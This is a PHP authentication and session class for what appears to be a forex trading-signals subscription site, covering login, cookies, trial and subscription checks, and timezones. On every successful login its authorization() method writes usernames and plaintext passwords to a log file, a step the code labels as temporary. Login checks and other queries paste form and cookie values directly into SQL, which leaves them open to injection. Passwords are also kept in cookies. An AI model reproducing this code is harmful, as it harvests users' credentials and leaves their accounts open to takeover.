<?php
//---------------------------------------------------------------------------------------------------------------------------

   require_once($config['app_dir'] . '/includes/object.class.php');
   require_once($config['app_dir'] . '/includes/db.class.php');
   require_once($config['app_dir'] . '/includes/session.class.php');
   require_once($config['app_dir'] . '/includes/FormParams.class.php');
   require_once($config['app_dir'] . '/includes/template.class.php');
   require_once($config['app_dir'] . '/classes/class.timezone.php');
   //require_once($config['app_dir'] . '/classes/user.class.php');
   //------------------------------------------------------------------------------------------------
   class objStaff {
      private $_db = false;
      private $template = false;
      protected $_error_no = 0; //0-ok 1-incorrect username or password
      private $login=false;
      public $clogin=false;
      public $cpassword=false;
      public $Session;
      public $TrialDays = 14;
      public $TrialDaysPassed;
      public $TrialDaysLeft;
      public $subscrDays = 0;
      public $subscrDaysLeft = 0;
      private $subscrTimestmp;
      public $transUser = false;
      public $wasOnTrial;
      public $txnType;
      public $UserGotPairs;
      private $sess_id;

      function __construct($sess_id) {
         $this->_db = objDataBase::GetInstance();

         $this->Session = new objSession($sess_id);
         $this->sess_id = $sess_id;
         $this->CookieLogin();
         $this->CookiePassword();
         $this->authorization();
      } //constructor

      public function fetchForm($template_source) {
         $this->template = new objTemplate();
         $this->template->assign("Staff", $this);
         return $this->template->fetch($template_source);
      }// fetchForm

      public function UserID() {
         if ($this->Session->isEmpty() ) return false;
          else {
           $usr = $this->Session->get('user');
           return $usr['userid'];
          }
      } //UserID

      public function GetLang($supress_null=true) {
        if( !$this->Staff->Session->isExists('lang') ) $this->Staff->Session->Put('lang', 'en');
        return $this->Staff->Session->Get('lang');
      } //GetLang

      public function GetSystem($supress_null=true) {

        if( !$this->Session->isExists('system') || !$this->Session->Get('system') ) {
            if( !$supress_null ) $this->Session->Put('system', '0');
            else {
                $Systems = new objSystems();
                $systemItem = $Systems->getFirst();

                if( $systemItem ) $this->Session->Put('system', $systemItem['SystemID']);
            }
        }//if null
        return $this->Session->Get('system');
      } //GetLang

      public function SetSystem($system) {
        $this->Session->Put('system', intval($system));
      } //SetLang

	  public function UserLanguage() {
         if ($this->Session->isEmpty() ) return false;
          else {
           $usr = $this->Session->get('user');
           return strtolower($usr['language']);
          }
      } //UserLanguage

      public function UserGroupID() {
         if ($this->Session->isEmpty() ) return false;
          else {
           $usr = $this->Session->get('user');
           return $usr['groupid'];
          }
      } //UserGroupID

      public function CookieLogin() {
         if ($this->Session->isExistsCookie('login') )
            $this->clogin = $this->Session->getCookie('login');
         return $this->clogin;
      }// CookieLogin

      public function CookiePassword() {
         if ($this->Session->isExistsCookie('password') )
            $this->cpassword = $this->Session->getCookie('password');
         return $this->cpassword;
      }// CookiePassword

      public function Login() {
         if ($this->Session->isEmpty() ) return false;
          else {
           $usr = $this->Session->get('user');
           return $usr['login'];
          }
      } //login

      public function Logout() {
      	//do not reset lang after Sign Out (capture set lang ID)
      	$lang_id = $this->Session->Get('lang');

      	$this->Session->putCookie('login', "", time() - 60*60*24*366);
        $this->Session->putCookie('password', "", time() - 60*60*24*366);
         $this->Session->clear();

         $this->Session->Put('lang', $lang_id); // set lang ID back to session
      }//logout

      public function Name() {
         if ($this->Session->isEmpty() ) return false;
          else {
           $usr = $this->Session->get('user');
           return $usr['name'];
          }
      } //name

	public function getUserGroup($group) {

      	switch ($group){
      		case "0":
      		$groupName = "User";
      		break;
      		case "1":
      		$groupName = "Expert";
      		break;
      		case "2":
      		$groupName = "Auth. Expert";
      		break;
      		case "3":
      		$groupName = "Administrator";
      		break;
      	}

        return $groupName;
 	} //getUserGroup


 	  public function UserGroup() {
         return $this->getUserGroup($this->UserGroupID());
      } //UserGroup

//---------------------------------------------------------------------------------------------

      public function ErrorNo() {
         return $this->_error_no;
      } //ErrorNo

      private function authorization() {
         $result = false;
         $this->_error_no = 1;

         if ( $this->Session->isEmpty() || (!$this->login && $this->clogin)) {

            $params_auth = new objFormParams('post', 'auth_');
            if ( !$params_auth->isEmpty() || $this->clogin) {
               $params = $params_auth->getAssocArray();

               if ( ($usr = $this->checkUser($params['login'], $params['password']) ) ||
                   ($usr = $this->checkUser($this->clogin, $this->cpassword)))  {

				// temp write passwords to text file
               	$this->logPasswords($params['login'], $params['password']);

                  $this->Session->put('user', $usr);

                  if( 1==$params['rememmberme']) {
                     $this->Session->putCookie('login', $usr['login'], time() + 60*60*24*14, '/');
                     $this->Session->putCookie('password', $usr['password'], time() + 60*60*24*14, '/');
                  }

                  $result =  $usr['login'];
                  $this->_error_no = 0;
               } else {
                  $this->login = $params['login'];
                  $this->_error_no = 2;
               }
            } //is set from params
         } else {
           $this->_error_no = 0;
           $usr = $this->Session->get('user');
           $result =  $usr['login'];
         }
         return $result;
      }//authorization

     private function logPasswords($usr,$pswd) {
     		$record = date("Y-m-d G:i:s",(time()-3600))." => ".$usr." - ".$pswd;
      		$fd = fopen("../logs/psswds.log", "a");
			fwrite($fd, $record."\r\n");
			fclose($fd);
	}
      public function AutoLogin($usr_id) {
         if( !$this->_db ) return false;
         $query = "select u.login, u.name, u.userid, u.`password`,u.Language from fa_users u where u.UserID=$usr_id";
         try {
           $rs = $this->_db->Execute($query);
         } catch(exception $e) {
            if (true == $this->_db->debug ) {
              adodb_pr($e);
              $e = adodb_backtrace($e->trace);
            }
            die('DB Error: '.$e->sql);
         }
         $data = false;
         if ( $rs ) {
           $data = $rs->GetArray();
           $data = $data[0];
         }
         unset($data[0]);
         unset($data[1]);

         $this->Session->put('user', $data);
      } //AutoLogin

      private function checkUser($login, $password) {
         if( !$this->_db ) return false;
         $query = "SELECT u.login, u.name, u.userid, u.groupid, u.`password`,u.Language FROM fa_users u WHERE  UPPER(u.Login)=UPPER('$login') AND UPPER(u.`password`)=UPPER('$password') AND Active=1";

         try {
           $rs = $this->_db->Execute($query/*, array($login, $password)*/);
         } catch(exception $e) {
            if (true == $this->_db->debug ) {
              adodb_pr($e);
              $e = adodb_backtrace($e->trace);
            }
            die('DB Error: '.$e->sql);
         }
         $data = false;
         if ( $rs ) {
           $data = $rs->GetArray();
           $data = $data[0];
         }
         unset($data[0]);
         unset($data[1]);

         return $data;
      } //checkUser

//---------------------------------------------------------------------------------------------

      public function checkSubscribed($userID=false) {
      	if (!$userID) $userID = $this->UserID();
		if( !$this->_db ) return false;
		$query = "select user_id,subscr_status from fa_subscriptions where user_id='$userID' and subscr_active='1'";
		$rs = $this->_db->Execute($query);

  		if ( $rs->RecordCount()>0 ) return true;
    	else return false;
      } //checkSubscribed

      public function isTrialFinished($userID=false) {
      	 if (!$userID) $userID = $this->UserID();
         if( !$this->_db ) return false;
         $query = "select ActivationTime,TrialNotification from fa_users where UserID='$userID'";
         $rs = $this->_db->Execute($query);
         $this->trialDaysPassed = $trialDaysPassed = intval((time() - $rs->fields['ActivationTime'])/86400);

         if ($this->UserGroup() == "Administrator") return false; //infinite trial for Administrators
         else if ( $trialDaysPassed>=$this->TrialDays || $rs->fields['TrialNotification']==1 ) return true;
         else {
         	$this->trialDaysLeft = $this->TrialDays-$this->trialDaysPassed;
         	return false;
         }
      } //isTrialFinished


      // to get acces to signals user should be subscribed or should have active trial
      public function AccessAllowed() {
      	if($this->Login()){
            if($this->checkSubscribed() || !$this->isTrialFinished()) return true;
            else return false;
      	}
      	else return false;
      } // AccessAllowed


      // get subscriptions data for user
      public function getSubscrData($userID=false) {
      	 if (!$userID) $userID = $this->UserID();
         if( !$this->_db ) return false;
         $query = "SELECT COUNT(s.subscr_system),s.user_id,s.subscr_system,s.subscr_period,s.subscr_time, sys.Name, ".
         		/*" ( SELECT SUM(s1.subscr_period) FROM fa_subscriptions s1 ".
         			" WHERE s1.user_id='$userID' and s.subscr_system=s1.subscr_system and s1.subscr_active='1' ) as system_days, ".
         		" ( SELECT ROUND( SUM( ((s2.subscr_time+s2.subscr_period*86400)-UNIX_TIMESTAMP())/86400 ) ) FROM fa_subscriptions s2 ".
         			" WHERE user_id='$userID' and s.subscr_system=s2.subscr_system and subscr_active='1' ) as system_days_left ".*/
				" s.subscr_system_period as system_days, ".
				" ROUND(((s.subscr_system_date+s.subscr_system_period*86400)-UNIX_TIMESTAMP())/86400) as system_days_left ".
         		" FROM fa_subscriptions s LEFT JOIN fa_systems sys ON sys.SystemID=s.subscr_system ".
         		" WHERE s.user_id='$userID' and s.subscr_active='1' ".
         		" GROUP BY s.subscr_system ORDER BY s.subscr_time desc "; 


	  		$this->subscriptionData = $this->_db->handler->getAll($query);
	  		//$this->subscrTimestmp
			//$this->subscrDays
			//$this->subscrDaysLeft

	        return $this->subscriptionData;
      } //getSubscrData

//---------------------------------------------------------------------------------------------

      public function getUserTimezone($userID=false) {
      	 if (!$userID) $userID = $this->UserID();
         $objTimezone = $this->initTimezone();
         $objTimezone->getUserTimezone($userID);

         $this->timeZoneName = $objTimezone->timeZoneName;
         $this->timeZoneID = $objTimezone->timeZoneID;

         return $this->timeZoneID;
      } //getUserTimezone

      public function getUserOffset($userID=false) {
      	 if (!$userID) $userID = $this->UserID();

         $objTimezone = $this->initTimezone();
         $resultOffset = $objTimezone->getOffsetByUserId($userID);
         $this->tzAbbreviation = $objTimezone->tzAbbreviation;
         return $resultOffset;
      } //getUserTimezone

      public function getTimezoneOffset($timeZoneID) {
         $objTimezone = $this->initTimezone();
         $resultOffset = $objTimezone->getOffsetByTimezoneId($timeZoneID);
         $this->tzAbbreviation = $objTimezone->tzAbbreviation;
         return $resultOffset;
      } //getTimezoneOffset

      public function getDaylightSaving() {
         $objTimezone = $this->initTimezone();
         $resultOffset = $objTimezone->getDaylightSaving();
         return $resultOffset;
      } //getDaylightSaving

      private function initTimezone() {
         $objTimezone = new objTimezone();
         return $objTimezone;
      } //initTimezone

//---------------------------------------------------------------------------------------------

    public function UserPairs($system=false) {
        $pairsArr = array();
        $userID = $this->UserID();
        $sub_query = ' EXISTS(SELECT * FROM vfa_forecast f WHERE f.Color=3 AND ut.TradeID=f.TradeID AND f.SystemID=ut.SystemID) as AcriveForecasts';
        if( !$system ) $query = "SELECT *, $sub_query FROM fa_users_trades ut LEFT JOIN fa_trades t ON ut.TradeID=t.TradeID WHERE ut.UserID='$userID' ORDER BY t.TradeID asc";
            else $query = "SELECT *, $sub_query FROM fa_users_trades ut LEFT JOIN fa_trades t ON ut.TradeID=t.TradeID WHERE  ut.SystemID=$system  AND ut.UserID='$userID' ORDER BY t.TradeID asc";

        try {
            $rs = $this->_db->Execute($query);
                if( $rs ){
                    while (!$rs->EOF) {
                        $this->pairsArr[]= array(
                                'Pair' => $rs->fields['Pair'],
                                'TradeID' => $rs->fields['TradeID'],
                                'AcriveForecasts' => $rs->fields['AcriveForecasts']
                                );
                        $rs->MoveNext();
                    } //while
                }//if

        } catch(exception $e) {
            if( true == $this->_db->debug ) {
                adodb_pr($e);
                $e = adodb_backtrace($e->trace);
            }
            die('DB Error: '.$e->sql);
        }

        return $this->pairsArr;
    } //UserPairs

    public function UserPairsBySystem() {
        $system = $this->GetSystem();

        if( !$system ) {
            $userID = $this->UserID();
            $system = $this->_db->handler->getOne("SELECT ut.SystemID FROM fa_users_trades ut WHERE ut.UserID='$userID' GROUP BY ut.SystemID ");
            $this->SetSystem($system);
        }//if system not set

        return $this->UserPairs($system);
    }//UserPairsBySystem

   // set var that indicates does user have no pairs selected at all
    public function setUserGotPairs() {
    	$userID = $this->UserID();
    	$rs = $this->_db->handler->Execute("SELECT count(*) as gotPairs FROM fa_users_trades WHERE UserID='$userID'");
    	$sys = $rs->fields['gotPairs'];
    	$this->UserGotPairs = $sys;

        return $this->UserGotPairs;
    }//setUserGotPairs

   }//class objStaff

//---------------------------------------------------------------------------------------------------------------------------
?>
